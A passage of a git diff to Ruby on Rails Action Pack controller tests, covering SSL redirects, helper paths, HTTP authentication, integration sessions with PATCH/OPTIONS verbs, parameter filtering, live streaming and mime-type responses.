+  force_ssl :except => [:banana, :set_flash, :use_flash]
+
+  def set_flash
+    flash["that"] = "hello"
+    redirect_to '/force_ssl_flash/cheeseburger'
+  end
+
+  def use_flash
+    @flash_copy = {}.update flash
+    @flashy = flash["that"]
+    render :inline => "hello"
+  end
+end
+
+class RedirectToSSL < ForceSSLController
+  def banana
+    force_ssl_redirect || render(:text => 'monkey')
+  end
+  def cheeseburger
+    force_ssl_redirect('secure.cheeseburger.host') || render(:text => 'ihaz')
+  end
+end
+
 class ForceSSLControllerLevelTest < ActionController::TestCase
   tests ForceSSLControllerLevel
 
@@ -35,6 +67,12 @@ class ForceSSLControllerLevelTest < ActionController::TestCase
     assert_equal "https://test.host/force_ssl_controller_level/banana", redirect_to_url
   end
 
+  def test_banana_redirects_to_https_with_extra_params
+    get :banana, :token => "secret"
+    assert_response 301
+    assert_equal "https://test.host/force_ssl_controller_level/banana?token=secret", redirect_to_url
+  end
+
   def test_cheeseburger_redirects_to_https
     get :cheeseburger
     assert_response 301
@@ -50,7 +88,7 @@ class ForceSSLCustomDomainTest < ActionController::TestCase
     assert_response 301
     assert_equal "https://secure.test.host/force_ssl_custom_domain/banana", redirect_to_url
   end
-  
+
   def test_cheeseburger_redirects_to_https_with_custom_host
     get :cheeseburger
     assert_response 301
@@ -88,16 +126,57 @@ class ForceSSLExceptActionTest < ActionController::TestCase
   end
 end
 
-class ForceSSLExcludeDevelopmentTest < ActionController::TestCase
-  tests ForceSSLControllerLevel
+class ForceSSLIfConditionTest < ActionController::TestCase
+  tests ForceSSLIfCondition
+
+  def test_banana_not_redirects_to_https
+    get :banana
+    assert_response 200
+  end
+
+  def test_cheeseburger_redirects_to_https
+    get :cheeseburger
+    assert_response 301
+    assert_equal "https://test.host/force_ssl_if_condition/cheeseburger", redirect_to_url
+  end
+end
+
+class ForceSSLFlashTest < ActionController::TestCase
+  tests ForceSSLFlash
+
+  def test_cheeseburger_redirects_to_https
+    get :set_flash
+    assert_response 302
+    assert_equal "http://test.host/force_ssl_flash/cheeseburger", redirect_to_url
+
+    get :cheeseburger
+    assert_response 301
+    assert_equal "https://test.host/force_ssl_flash/cheeseburger", redirect_to_url
 
-  def setup
-    Rails.env.stubs(:development?).returns(false)
+    get :use_flash
+    assert_equal "hello", assigns["flash_copy"]["that"]
+    assert_equal "hello", assigns["flashy"]
   end
+end
 
-  def test_development_environment_not_redirects_to_https
-    Rails.env.stubs(:development?).returns(true)
+class RedirectToSSLTest < ActionController::TestCase
+  tests RedirectToSSL
+  def test_banana_redirects_to_https_if_not_https
     get :banana
+    assert_response 301
+    assert_equal "https://test.host/redirect_to_ssl/banana", redirect_to_url
+  end
+
+  def test_cheeseburgers_redirects_to_https_with_new_host_if_not_https
+    get :cheeseburger
+    assert_response 301
+    assert_equal "https://secure.cheeseburger.host/redirect_to_ssl/cheeseburger", redirect_to_url
+  end
+
+  def test_banana_does_not_redirect_if_already_https
+    request.env['HTTPS'] = 'on'
+    get :cheeseburger
     assert_response 200
+    assert_equal 'ihaz', response.body
   end
-end
+end
\ No newline at end of file
diff --git a/actionpack/test/controller/helper_test.rb b/actionpack/test/controller/helper_test.rb
index 35a87c1aae..248c81193e 100644
--- a/actionpack/test/controller/helper_test.rb
+++ b/actionpack/test/controller/helper_test.rb
@@ -7,16 +7,12 @@ module Fun
     def render_hello_world
       render :inline => "hello: <%= stratego %>"
     end
-
-    def rescue_action(e) raise end
   end
 
   class PdfController < ActionController::Base
     def test
       render :inline => "test: <%= foobar %>"
     end
-
-    def rescue_action(e) raise end
   end
 end
 
@@ -50,17 +46,46 @@ end
 class MeTooController < JustMeController
 end
 
+class HelpersPathsController < ActionController::Base
+  paths = ["helpers2_pack", "helpers1_pack"].map do |path|
+    File.join(File.expand_path('../../fixtures', __FILE__), path)
+  end
+  $:.unshift(*paths)
+
+  self.helpers_path = paths
+  helper :all
+
+  def index
+    render :inline => "<%= conflicting_helper %>"
+  end
+end
+
 module LocalAbcHelper
   def a() end
   def b() end
   def c() end
 end
 
+class HelperPathsTest < ActiveSupport::TestCase
+  def setup
+    @request    = ActionController::TestRequest.new
+    @response   = ActionController::TestResponse.new
+  end
+
+  def test_helpers_paths_priority
+    request  = ActionController::TestRequest.new
+    responses = HelpersPathsController.action(:index).call(request.env)
+
+    # helpers1_pack was given as a second path, so pack1_helper should be
+    # included as the second one
+    assert_equal "pack1", responses.last.body
+  end
+end
+
 class HelperTest < ActiveSupport::TestCase
   class TestController < ActionController::Base
     attr_accessor :delegate_attr
     def delegate_method() end
-    def rescue_action(e) raise end
   end
 
   def setup
@@ -84,13 +109,13 @@ class HelperTest < ActiveSupport::TestCase
 
   def test_helper_method
     assert_nothing_raised { @controller_class.helper_method :delegate_method }
-    assert master_helper_methods.include?('delegate_method')
+    assert master_helper_methods.include?(:delegate_method)
   end
 
   def test_helper_attr
     assert_nothing_raised { @controller_class.helper_attr :delegate_attr }
-    assert master_helper_methods.include?('delegate_attr')
-    assert master_helper_methods.include?('delegate_attr=')
+    assert master_helper_methods.include?(:delegate_attr)
+    assert master_helper_methods.include?(:delegate_attr=)
   end
 
   def call_controller(klass, action)
@@ -135,16 +160,16 @@ class HelperTest < ActiveSupport::TestCase
   end
 
   def test_all_helpers
-    methods = AllHelpersController._helpers.instance_methods.map {|m| m.to_s}
+    methods = AllHelpersController._helpers.instance_methods
 
     # abc_helper.rb
-    assert methods.include?('bare_a')
+    assert methods.include?(:bare_a)
 
     # fun/games_helper.rb
-    assert methods.include?('stratego')
+    assert methods.include?(:stratego)
 
     # fun/pdf_helper.rb
-    assert methods.include?('foobar')
+    assert methods.include?(:foobar)
   end
 
   def test_all_helpers_with_alternate_helper_dir
@@ -155,35 +180,35 @@ class HelperTest < ActiveSupport::TestCase
     @controller_class.helper :all
 
     # helpers/abc_helper.rb should not be included
-    assert !master_helper_methods.include?('bare_a')
+    assert !master_helper_methods.include?(:bare_a)
 
     # alternate_helpers/foo_helper.rb
-    assert master_helper_methods.include?('baz')
+    assert master_helper_methods.include?(:baz)
   end
 
   def test_helper_proxy
-    methods = AllHelpersController.helpers.methods.map(&:to_s)
+    methods = AllHelpersController.helpers.methods
 
     # Action View
-    assert methods.include?('pluralize')
+    assert methods.include?(:pluralize)
 
     # abc_helper.rb
-    assert methods.include?('bare_a')
+    assert methods.include?(:bare_a)
 
     # fun/games_helper.rb
-    assert methods.include?('stratego')
+    assert methods.include?(:stratego)
 
     # fun/pdf_helper.rb
-    assert methods.include?('foobar')
+    assert methods.include?(:foobar)
   end
 
   private
     def expected_helper_methods
-      TestHelper.instance_methods.map {|m| m.to_s }
+      TestHelper.instance_methods
     end
 
     def master_helper_methods
-      @controller_class._helpers.instance_methods.map {|m| m.to_s }
+      @controller_class._helpers.instance_methods
     end
 
     def missing_methods
@@ -201,8 +226,6 @@ class IsolatedHelpersTest < ActiveSupport::TestCase
     def index
       render :inline => '<%= shout %>'
     end
-
-    def rescue_action(e) raise end
   end
 
   class B < A
diff --git a/actionpack/test/controller/http_basic_authentication_test.rb b/actionpack/test/controller/http_basic_authentication_test.rb
index 364e96d4f6..7286b249c7 100644
--- a/actionpack/test/controller/http_basic_authentication_test.rb
+++ b/actionpack/test/controller/http_basic_authentication_test.rb
@@ -132,6 +132,6 @@ class HttpBasicAuthenticationTest < ActionController::TestCase
   private
 
   def encode_credentials(username, password)
-    "Basic #{ActiveSupport::Base64.encode64("#{username}:#{password}")}"
+    "Basic #{::Base64.encode64("#{username}:#{password}")}"
   end
 end
diff --git a/actionpack/test/controller/http_digest_authentication_test.rb b/actionpack/test/controller/http_digest_authentication_test.rb
index b011536717..b11ad633bd 100644
--- a/actionpack/test/controller/http_digest_authentication_test.rb
+++ b/actionpack/test/controller/http_digest_authentication_test.rb
@@ -139,11 +139,12 @@ class HttpDigestAuthenticationTest < ActionController::TestCase
 
   test "authentication request with request-uri that doesn't match credentials digest-uri" do
     @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:username => 'pretty', :password => 'please')
-    @request.env['PATH_INFO'] = "/http_digest_authentication_test/dummy_digest/altered/uri"
+    @request.env['PATH_INFO'] = "/proxied/uri"
     get :display
 
-    assert_response :unauthorized
-    assert_equal "Authentication Failed", @response.body
+    assert_response :success
+    assert assigns(:logged_in)
+    assert_equal 'Definitely Maybe', @response.body
   end
 
   test "authentication request with absolute request uri (as in webrick)" do
@@ -208,6 +209,44 @@ class HttpDigestAuthenticationTest < ActionController::TestCase
     assert !ActionController::HttpAuthentication::Digest.validate_digest_response(@request, "SuperSecret"){nil}
   end
 
+  test "authentication request with request-uri ending in '/'" do
+    @request.env['PATH_INFO'] = "/http_digest_authentication_test/dummy_digest/"
+    @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:username => 'pretty', :password => 'please')
+
+    # simulate normalizing PATH_INFO
+    @request.env['PATH_INFO'] = "/http_digest_authentication_test/dummy_digest"
+    get :display
+
+    assert_response :success
+    assert_equal 'Definitely Maybe', @response.body
+  end
+
+  test "authentication request with request-uri ending in '?'" do
+    @request.env['PATH_INFO'] = "/http_digest_authentication_test/dummy_digest/?"
+    @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:username => 'pretty', :password => 'please')
+
+    # simulate normalizing PATH_INFO
+    @request.env['PATH_INFO'] = "/http_digest_authentication_test/dummy_digest"
+    get :display
+
+    assert_response :success
+    assert_equal 'Definitely Maybe', @response.body
+  end
+
+  test "authentication request with absolute uri in credentials (as in IE) ending with /" do
+    @request.env['PATH_INFO'] = "/http_digest_authentication_test/dummy_digest/"
+    @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:uri => "http://test.host/http_digest_authentication_test/dummy_digest/",
+                                                            :username => 'pretty', :password => 'please')
+
+    # simulate normalizing PATH_INFO
+    @request.env['PATH_INFO'] = "/http_digest_authentication_test/dummy_digest"
+    get :display
+
+    assert_response :success
+    assert assigns(:logged_in)
+    assert_equal 'Definitely Maybe', @response.body
+  end
+
   private
 
   def encode_credentials(options)
@@ -228,11 +267,14 @@ class HttpDigestAuthenticationTest < ActionController::TestCase
 
     credentials = decode_credentials(@response.headers['WWW-Authenticate'])
     credentials.merge!(options)
-    credentials.merge!(:uri => @request.env['PATH_INFO'].to_s)
+    path_info = @request.env['PATH_INFO'].to_s
+    uri = options[:uri] || path_info
+    credentials.merge!(:uri => uri)
+    @request.env["ORIGINAL_FULLPATH"] = path_info
     ActionController::HttpAuthentication::Digest.encode_credentials(method, credentials, password, options[:password_is_ha1])
   end
 
   def decode_credentials(header)
-    ActionController::HttpAuthentication::Digest.decode_credentials(@response.headers['WWW-Authenticate'])
+    ActionController::HttpAuthentication::Digest.decode_credentials(header)
   end
 end
diff --git a/actionpack/test/controller/http_token_authentication_test.rb b/actionpack/test/controller/http_token_authentication_test.rb
index 3054c1684c..ad4e743be8 100644
--- a/actionpack/test/controller/http_token_authentication_test.rb
+++ b/actionpack/test/controller/http_token_authentication_test.rb
@@ -79,6 +79,14 @@ class HttpTokenAuthenticationTest < ActionController::TestCase
     end
   end
 
+  test "authentication request with badly formatted header" do
+    @request.env['HTTP_AUTHORIZATION'] = "Token foobar"
+    get :index
+
+    assert_response :unauthorized
+    assert_equal "HTTP Token: Access denied.\n", @response.body, "Authentication header was not properly parsed"
+  end
+
   test "authentication request without credential" do
     get :display
 
diff --git a/actionpack/test/controller/integration_test.rb b/actionpack/test/controller/integration_test.rb
index 2ad95f5c29..f18bf33969 100644
--- a/actionpack/test/controller/integration_test.rb
+++ b/actionpack/test/controller/integration_test.rb
@@ -2,7 +2,7 @@ require 'abstract_unit'
 require 'controller/fake_controllers'
 require 'action_controller/vendor/html-scanner'
 
-class SessionTest < Test::Unit::TestCase
+class SessionTest < ActiveSupport::TestCase
   StubApp = lambda { |env|
     [200, {"Content-Type" => "text/html", "Content-Length" => "13"}, ["Hello, World!"]]
   }
@@ -63,6 +63,12 @@ class SessionTest < Test::Unit::TestCase
     @session.post_via_redirect(path, args, headers)
   end
 
+  def test_patch_via_redirect
+    path = "/somepath"; args = {:id => '1'}; headers = {"X-Test-Header" => "testvalue" }
+    @session.expects(:request_via_redirect).with(:patch, path, args, headers)
+    @session.patch_via_redirect(path, args, headers)
+  end
+
   def test_put_via_redirect
     path = "/somepath"; args = {:id => '1'}; headers = {"X-Test-Header" => "testvalue" }
     @session.expects(:request_via_redirect).with(:put, path, args, headers)
@@ -87,6 +93,12 @@ class SessionTest < Test::Unit::TestCase
     @session.post(path,params,headers)
   end
 
+  def test_patch
+    path = "/index"; params = "blah"; headers = {:location => 'blah'}
+    @session.expects(:process).with(:patch,path,params,headers)
+    @session.patch(path,params,headers)
+  end
+
   def test_put
     path = "/index"; params = "blah"; headers = {:location => 'blah'}
     @session.expects(:process).with(:put,path,params,headers)
@@ -105,6 +117,12 @@ class SessionTest < Test::Unit::TestCase
     @session.head(path,params,headers)
   end
 
+  def test_options
+    path = "/index"; params = "blah"; headers = {:location => 'blah'}
+    @session.expects(:process).with(:options,path,params,headers)
+    @session.options(path,params,headers)
+  end
+
   def test_xml_http_request_get
     path = "/index"; params = "blah"; headers = {:location => 'blah'}
     headers_after_xhr = headers.merge(
@@ -125,6 +143,16 @@ class SessionTest < Test::Unit::TestCase
     @session.xml_http_request(:post,path,params,headers)
   end
 
+  def test_xml_http_request_patch
+    path = "/index"; params = "blah"; headers = {:location => 'blah'}
+    headers_after_xhr = headers.merge(
+      "HTTP_X_REQUESTED_WITH" => "XMLHttpRequest",
+      "HTTP_ACCEPT"           => "text/javascript, text/html, application/xml, text/xml, */*"
+    )
+    @session.expects(:process).with(:patch,path,params,headers_after_xhr)
+    @session.xml_http_request(:patch,path,params,headers)
+  end
+
   def test_xml_http_request_put
     path = "/index"; params = "blah"; headers = {:location => 'blah'}
     headers_after_xhr = headers.merge(
@@ -155,6 +183,16 @@ class SessionTest < Test::Unit::TestCase
     @session.xml_http_request(:head,path,params,headers)
   end
 
+  def test_xml_http_request_options
+    path = "/index"; params = "blah"; headers = {:location => 'blah'}
+    headers_after_xhr = headers.merge(
+      "HTTP_X_REQUESTED_WITH" => "XMLHttpRequest",
+      "HTTP_ACCEPT"           => "text/javascript, text/html, application/xml, text/xml, */*"
+    )
+    @session.expects(:process).with(:options,path,params,headers_after_xhr)
+    @session.xml_http_request(:options,path,params,headers)
+  end
+
   def test_xml_http_request_override_accept
     path = "/index"; params = "blah"; headers = {:location => 'blah', "HTTP_ACCEPT" => "application/xml"}
     headers_after_xhr = headers.merge(
@@ -165,7 +203,7 @@ class SessionTest < Test::Unit::TestCase
   end
 end
 
-class IntegrationTestTest < Test::Unit::TestCase
+class IntegrationTestTest < ActiveSupport::TestCase
   def setup
     @test = ::ActionDispatch::IntegrationTest.new(:app)
     @test.class.stubs(:fixture_table_names).returns([])
@@ -212,7 +250,7 @@ class IntegrationTestUsesCorrectClass < ActionDispatch::IntegrationTest
     @integration_session.stubs(:generic_url_rewriter)
     @integration_session.stubs(:process)
 
-    %w( get post head put delete ).each do |verb|
+    %w( get post head patch put delete options ).each do |verb|
       assert_nothing_raised("'#{verb}' should use integration test methods") { __send__(verb, '/') }
     end
   end
@@ -367,6 +405,15 @@ class IntegrationProcessTest < ActionDispatch::IntegrationTest
     end
   end
 
+  def test_request_with_bad_format
+    with_test_route_set do
+      xhr :get, '/get.php'
+      assert_equal 406, status
+      assert_response 406
+      assert_response :not_acceptable
+    end
+  end
+
   def test_get_with_query_string
     with_test_route_set do
       get '/get_with_params?foo=bar'
@@ -428,7 +475,7 @@ class IntegrationProcessTest < ActionDispatch::IntegrationTest
         end
 
         set.draw do
-          match ':action', :to => controller
+          match ':action', :to => controller, :via => [:get, :post]
           get 'get/:action', :to => controller
         end
 
@@ -491,11 +538,26 @@ class ApplicationIntegrationTest < ActionDispatch::IntegrationTest
     @routes ||= ActionDispatch::Routing::RouteSet.new
   end
 
+  class MountedApp
+    def self.routes
+      @routes ||= ActionDispatch::Routing::RouteSet.new
+    end
+
+    routes.draw do
+      get 'baz', :to => 'application_integration_test/test#index', :as => :baz
+    end
+
+    def self.call(*)
+    end
+  end
+
   routes.draw do
-    match '',    :to => 'application_integration_test/test#index', :as => :empty_string
+    get '',    :to => 'application_integration_test/test#index', :as => :empty_string
+
+    get 'foo', :to => 'application_integration_test/test#index', :as => :foo
+    get 'bar', :to => 'application_integration_test/test#index', :as => :bar
 
-    match 'foo', :to => 'application_integration_test/test#index', :as => :foo
-    match 'bar', :to => 'application_integration_test/test#index', :as => :bar
+    mount MountedApp => '/mounted', :as => "mounted"
   end
 
   def app
@@ -508,6 +570,10 @@ class ApplicationIntegrationTest < ActionDispatch::IntegrationTest
     assert_equal '/bar', bar_path
   end
 
+  test "includes mounted helpers" do
+    assert_equal '/mounted/baz', mounted.baz_path
+  end
+
   test "route helpers after controller access" do
     get '/'
     assert_equal '/', empty_string_path
@@ -535,3 +601,116 @@ class ApplicationIntegrationTest < ActionDispatch::IntegrationTest
     assert_equal old_env, env
   end
 end
+
+class EnvironmentFilterIntegrationTest < ActionDispatch::IntegrationTest
+  class TestController < ActionController::Base
+    def post
+      render :text => "Created", :status => 201
+    end
+  end
+
+  def self.call(env)
+    env["action_dispatch.parameter_filter"] = [:password]
+    routes.call(env)
+  end
+
+  def self.routes
+    @routes ||= ActionDispatch::Routing::RouteSet.new
+  end
+
+  routes.draw do
+    match '/post', :to => 'environment_filter_integration_test/test#post', :via => :post
+  end
+
+  def app
+    self.class
+  end
+
+  test "filters rack request form vars" do
+    post "/post", :username => 'cjolly', :password => 'secret'
+
+    assert_equal 'cjolly', request.filtered_parameters['username']
+    assert_equal '[FILTERED]', request.filtered_parameters['password']
+    assert_equal '[FILTERED]', request.filtered_env['rack.request.form_vars']
+  end
+end
+
+class UrlOptionsIntegrationTest < ActionDispatch::IntegrationTest
+  class FooController < ActionController::Base
+    def index
+      render :text => "foo#index"
+    end
+
+    def show
+      render :text => "foo#show"
+    end
+
+    def edit
+      render :text => "foo#show"
+    end
+  end
+
+  class BarController < ActionController::Base
+    def default_url_options
+      { :host => "bar.com" }
+    end
+
+    def index
+      render :text => "foo#index"
+    end
+  end
+
+  def self.routes
+    @routes ||= ActionDispatch::Routing::RouteSet.new
+  end
+
+  def self.call(env)
+    routes.call(env)
+  end
+
+  def app
+    self.class
+  end
+
+  routes.draw do
+    default_url_options :host => "foo.com"
+
+    scope :module => "url_options_integration_test" do
+      get "/foo" => "foo#index", :as => :foos
+      get "/foo/:id" => "foo#show", :as => :foo
+      get "/foo/:id/edit" => "foo#edit", :as => :edit_foo
+      get "/bar" => "bar#index", :as => :bars
+    end
+  end
+
+  test "session uses default url options from routes" do
+    assert_equal "http://foo.com/foo", foos_url
+  end
+
+  test "current host overrides default url options from routes" do
+    get "/foo"
+    assert_response :success
+    assert_equal "http://www.example.com/foo", foos_url
+  end
+
+  test "controller can override default url options from request" do
+    get "/bar"
+    assert_response :success
+    assert_equal "http://bar.com/foo", foos_url
+  end
+
+  test "test can override default url options" do
+    default_url_options[:host] = "foobar.com"
+    assert_equal "http://foobar.com/foo", foos_url
+
+    get "/bar"
+    assert_response :success
+    assert_equal "http://foobar.com/foo", foos_url
+  end
+
+  test "current request path parameters are recalled" do
+    get "/foo/1"
+    assert_response :success
+    assert_equal "/foo/1/edit", url_for(:action => 'edit', :only_path => true)
+  end
+end
diff --git a/actionpack/test/controller/layout_test.rb b/actionpack/test/controller/layout_test.rb
index 25299eb8b8..94a8d2f180 100644
--- a/actionpack/test/controller/layout_test.rb
+++ b/actionpack/test/controller/layout_test.rb
@@ -78,6 +78,13 @@ end
 class DefaultLayoutController < LayoutTest
 end
 
+class StreamingLayoutController < LayoutTest
+  def render(*args)
+    options = args.extract_options! || {}
+    super(*args, options.merge(:stream => true))
+  end
+end
+
 class AbsolutePathLayoutController < LayoutTest
   layout File.expand_path(File.expand_path(__FILE__) + '/../../fixtures/layout_tests/layouts/layout_test')
 end
@@ -122,6 +129,12 @@ class LayoutSetInResponseTest < ActionController::TestCase
     assert_template :layout => "layouts/layout_test"
   end
 
+  def test_layout_set_when_using_streaming_layout
+    @controller = StreamingLayoutController.new
+    get :hello
+    assert_template :hello
+  end
+
   def test_layout_set_when_set_in_controller
     @controller = HasOwnLayoutController.new
     get :hello
@@ -167,7 +180,7 @@ class LayoutSetInResponseTest < ActionController::TestCase
   def test_layout_is_picked_from_the_controller_instances_view_path
     @controller = PrependsViewPathController.new
     get :hello
-    assert_template :layout => /layouts\/alt\.\w+/
+    assert_template :layout => /layouts\/alt/
   end
 
   def test_absolute_pathed_layout
@@ -187,7 +200,7 @@ class SetsNonExistentLayoutFile < LayoutTest
   layout "nofile"
 end
 
-class LayoutExceptionRaised < ActionController::TestCase
+class LayoutExceptionRaisedTest < ActionController::TestCase
   def test_exception_raised_when_layout_file_not_found
     @controller = SetsNonExistentLayoutFile.new
     assert_raise(ActionView::MissingTemplate) { get :hello }
diff --git a/actionpack/test/controller/live_stream_test.rb b/actionpack/test/controller/live_stream_test.rb
new file mode 100644
index 0000000000..20e433d1ec
--- /dev/null
+++ b/actionpack/test/controller/live_stream_test.rb
@@ -0,0 +1,121 @@
+require 'abstract_unit'
+require 'active_support/concurrency/latch'
+
+module ActionController
+  class LiveStreamTest < ActionController::TestCase
+    class TestController < ActionController::Base
+      include ActionController::Live
+
+      attr_accessor :latch, :tc
+
+      def self.controller_path
+        'test'
+      end
+
+      def render_text
+        render :text => 'zomg'
+      end
+
+      def default_header
+        response.stream.write "<html><body>hi</body></html>"
+        response.stream.close
+      end
+
+      def basic_stream
+        response.headers['Content-Type'] = 'text/event-stream'
+        %w{ hello world }.each do |word|
+          response.stream.write word
+        end
+        response.stream.close
+      end
+
+      def blocking_stream
+        response.headers['Content-Type'] = 'text/event-stream'
+        %w{ hello world }.each do |word|
+          response.stream.write word
+          latch.await
+        end
+        response.stream.close
+      end
+
+      def thread_locals
+        tc.assert_equal 'aaron', Thread.current[:setting]
+        tc.refute_equal Thread.current.object_id, Thread.current[:originating_thread]
+
+        response.headers['Content-Type'] = 'text/event-stream'
+        %w{ hello world }.each do |word|
+          response.stream.write word
+        end
+        response.stream.close
+      end
+    end
+
+    tests TestController
+
+    class TestResponse < Live::Response
+      def recycle!
+        initialize
+      end
+    end
+
+    def build_response
+      TestResponse.new
+    end
+
+    def test_set_response!
+      @controller.set_response!(@request)
+      assert_kind_of(Live::Response, @controller.response)
+      assert_equal @request, @controller.response.request
+    end
+
+    def test_write_to_stream
+      @controller = TestController.new
+      get :basic_stream
+      assert_equal "helloworld", @response.body
+      assert_equal 'text/event-stream', @response.headers['Content-Type']
+    end
+
+    def test_async_stream
+      @controller.latch = ActiveSupport::Concurrency::Latch.new
+      parts             = ['hello', 'world']
+
+      @controller.request  = @request
+      @controller.response = @response
+
+      t = Thread.new(@response) { |resp|
+        resp.stream.each do |part|
+          assert_equal parts.shift, part
+          ol = @controller.latch
+          @controller.latch = ActiveSupport::Concurrency::Latch.new
+          ol.release
+        end
+      }
+
+      @controller.process :blocking_stream
+
+      assert t.join
+    end
+
+    def test_thread_locals_get_copied
+      @controller.tc = self
+      Thread.current[:originating_thread] = Thread.current.object_id
+      Thread.current[:setting]            = 'aaron'
+
+      get :thread_locals
+    end
+
+    def test_live_stream_default_header
+      @controller.request  = @request
+      @controller.response = @response
+      @controller.process :default_header
+      _, headers, _ = @response.prepare!
+      assert headers['Content-Type']
+    end
+
+    def test_render_text
+      get :render_text
+      assert_equal 'zomg', response.body
+      assert response.stream.closed?, 'stream should be closed'
+    end
+  end
+end
diff --git a/actionpack/test/controller/log_subscriber_test.rb b/actionpack/test/controller/log_subscriber_test.rb
index ccdfcb0b2c..700fd788fa 100644
--- a/actionpack/test/controller/log_subscriber_test.rb
+++ b/actionpack/test/controller/log_subscriber_test.rb
@@ -13,6 +13,11 @@ module Another
       head :status => 406
     end
 
+    before_filter :redirector, :only => :never_executed
+
+    def never_executed
+    end
+
     def show
       render :nothing => true
     end
@@ -49,7 +54,6 @@ module Another
     def with_rescued_exception
       raise SpecialException
     end
-
   end
 end
 
@@ -86,6 +90,13 @@ class ACLogSubscriberTest < ActionController::TestCase
     assert_equal "Processing by Another::LogSubscribersController#show as HTML", logs.first
   end
 
+  def test_halted_callback
+    get :never_executed
+    wait
+    assert_equal 4, logs.size
+    assert_equal "Filter chain halted as :redirector rendered or redirected", logs.third
+  end
+
   def test_process_action
     get :show
     wait
diff --git a/actionpack/test/controller/mime_responds_test.rb b/actionpack/test/controller/mime_responds_test.rb
index 76a8c89e60..b21d35c846 100644
--- a/actionpack/test/controller/mime_responds_test.rb
+++ b/actionpack/test/controller/mime_responds_test.rb
@@ -1,7 +1,6 @@
 require 'abstract_unit'
 require 'controller/fake_models'
 require 'active_support/core_ext/hash/conversions'
-require 'active_support/core_ext/object/inclusion'
 
 class StarStarMimeController < ActionController::Base
   layout nil
@@ -132,7 +131,6 @@ class RespondToController < ActionController::Base
     end
   end
 
-
   def iphone_with_html_response_type
     request.format = :iphone if request.env["HTTP_ACCEPT"] == "text/iphone"
 
@@ -151,16 +149,13 @@ class RespondToController < ActionController::Base
     end
   end
 
-  def rescue_action(e)
-    raise
-  end
-
   protected
     def set_layout
-      if action_name.in?(["all_types_with_layout", "iphone_with_html_response_type"])
-        "respond_to/layouts/standard"
-      elsif action_name == "iphone_with_html_response_type_without_layout"
-        "respond_to/layouts/missing"
+      case action_name
+        when "all_types_with_layout", "iphone_with_html_response_type"
+          "respond_to/layouts/standard"
+        when "iphone_with_html_response_type_without_layout"
+          "respond_to/layouts/missing"
       end
     end
 end
@@ -212,8 +207,9 @@ class RespondToControllerTest < ActionController::TestCase
     get :html_or_xml
     assert_equal 'HTML', @response.body
 
-    get :just_xml
-    assert_response 406
+    assert_raises(ActionController::UnknownFormat) do
+      get :just_xml
+    end
   end
 
   def test_all
@@ -244,8 +240,10 @@ class RespondToControllerTest < ActionController::TestCase
     assert_equal 'HTML', @response.body
 
     @request.accept = "text/javascript, text/html"
-    xhr :get, :just_xml
-    assert_response 406
+    
+    assert_raises(ActionController::UnknownFormat) do
+      xhr :get, :just_xml
+    end
   end
 
   def test_json_or_yaml_with_leading_star_star
@@ -498,16 +496,16 @@ class RespondToControllerTest < ActionController::TestCase
     assert_equal '<html><div id="iphone">Hello iPhone future from iPhone!</div></html>', @response.body
     assert_equal "text/html", @response.content_type
   end
-  
+
   def test_invalid_format
-    get :using_defaults, :format => "invalidformat"
-    assert_equal " ", @response.body
-    assert_equal "text/html", @response.content_type
+    assert_raises(ActionController::UnknownFormat) do
+      get :using_defaults, :format => "invalidformat"
+    end
   end
 end
 
 class RespondWithController < ActionController::Base
-  respond_to :html, :json
+  respond_to :html, :json, :touch
   respond_to :xml, :except => :using_resource_with_block
   respond_to :js,  :only => [ :using_resource_with_block, :using_resource, 'using_hash_resource' ]
 
@@ -597,6 +595,19 @@ class RenderJsonRespondWithController < RespondWithController
       format.json { render :json => RenderJsonTestException.new('boom') }
     end
   end
+
+  def create
+    resource = ValidatedCustomer.new(params[:name], 1)
+    respond_with(resource) do |format|
+      format.json do
+        if resource.errors.empty?
+          render :json => { :valid => true }
+        else
+          render :json => { :valid => false }
+        end
+      end
+    end
+  end
 end
 
 class EmptyRespondWithController < ActionController::Base
@@ -612,12 +623,14 @@ class RespondWithControllerTest < ActionController::TestCase
     super
     @request.host = "www.example.com"
     Mime::Type.register_alias('text/html', :iphone)
+    Mime::Type.register_alias('text/html', :touch)
     Mime::Type.register('text/x-mobile', :mobile)
   end
 
   def teardown
     super
     Mime::Type.unregister(:iphone)
+    Mime::Type.unregister(:touch)
     Mime::Type.unregister(:mobile)
   end
 
@@ -693,12 +706,14 @@ class RespondWithControllerTest < ActionController::TestCase
 
   def test_not_acceptable
     @request.accept = "application/xml"
-    get :using_resource_with_block
-    assert_equal 406, @response.status
+    assert_raises(ActionController::UnknownFormat) do
+      get :using_resource_with_block
+    end
 
     @request.accept = "text/javascript"
-    get :using_resource_with_overwrite_block
-    assert_equal 406, @response.status
+    assert_raises(ActionController::UnknownFormat) do
+      get :using_resource_with_overwrite_block
+    end
   end
 
   def test_using_resource_for_post_with_html_redirects_on_success
@@ -761,6 +776,41 @@ class RespondWithControllerTest < ActionController::TestCase
     end
   end
 
+  def test_using_resource_for_patch_with_html_redirects_on_success
+    with_test_route_set do
+      patch :using_resource
+      assert_equal "text/html", @response.content_type
+      assert_equal 302, @response.status
+      assert_equal "http://www.example.com/customers/13", @response.location
+      assert @response.redirect?
+    end
+  end
+
+  def test_using_resource_for_patch_with_html_rerender_on_failure
+    with_test_route_set do
+      errors = { :name => :invalid }
+      Customer.any_instance.stubs(:errors).returns(errors)
+      patch :using_resource
+      assert_equal "text/html", @response.content_type
+      assert_equal 200, @response.status
+      assert_equal "Edit world!\n", @response.body
+      assert_nil @response.location
+    end
+  end
+
+  def test_using_resource_for_patch_with_html_rerender_on_failure_even_on_method_override
+    with_test_route_set do
+      errors = { :name => :invalid }
+      Customer.any_instance.stubs(:errors).returns(errors)
+      @request.env["rack.methodoverride.original_method"] = "POST"
+      patch :using_resource
+      assert_equal "text/html", @response.content_type
+      assert_equal 200, @response.status
+      assert_equal "Edit world!\n", @response.body
+      assert_nil @response.location
+    end
+  end
+
   def test_using_resource_for_put_with_html_redirects_on_success
     with_test_route_set do
       put :using_resource
@@ -801,7 +851,7 @@ class RespondWithControllerTest < ActionController::TestCase
     put :using_resource
     assert_equal "application/xml", @response.content_type
     assert_equal 204, @response.status
-    assert_equal " ", @response.body
+    assert_equal "", @response.body
   end
 
   def test_using_resource_for_put_with_json_yields_no_content_on_success
@@ -810,7 +860,7 @@ class RespondWithControllerTest < ActionController::TestCase
     put :using_resource
     assert_equal "application/json", @response.content_type
     assert_equal 204, @response.status
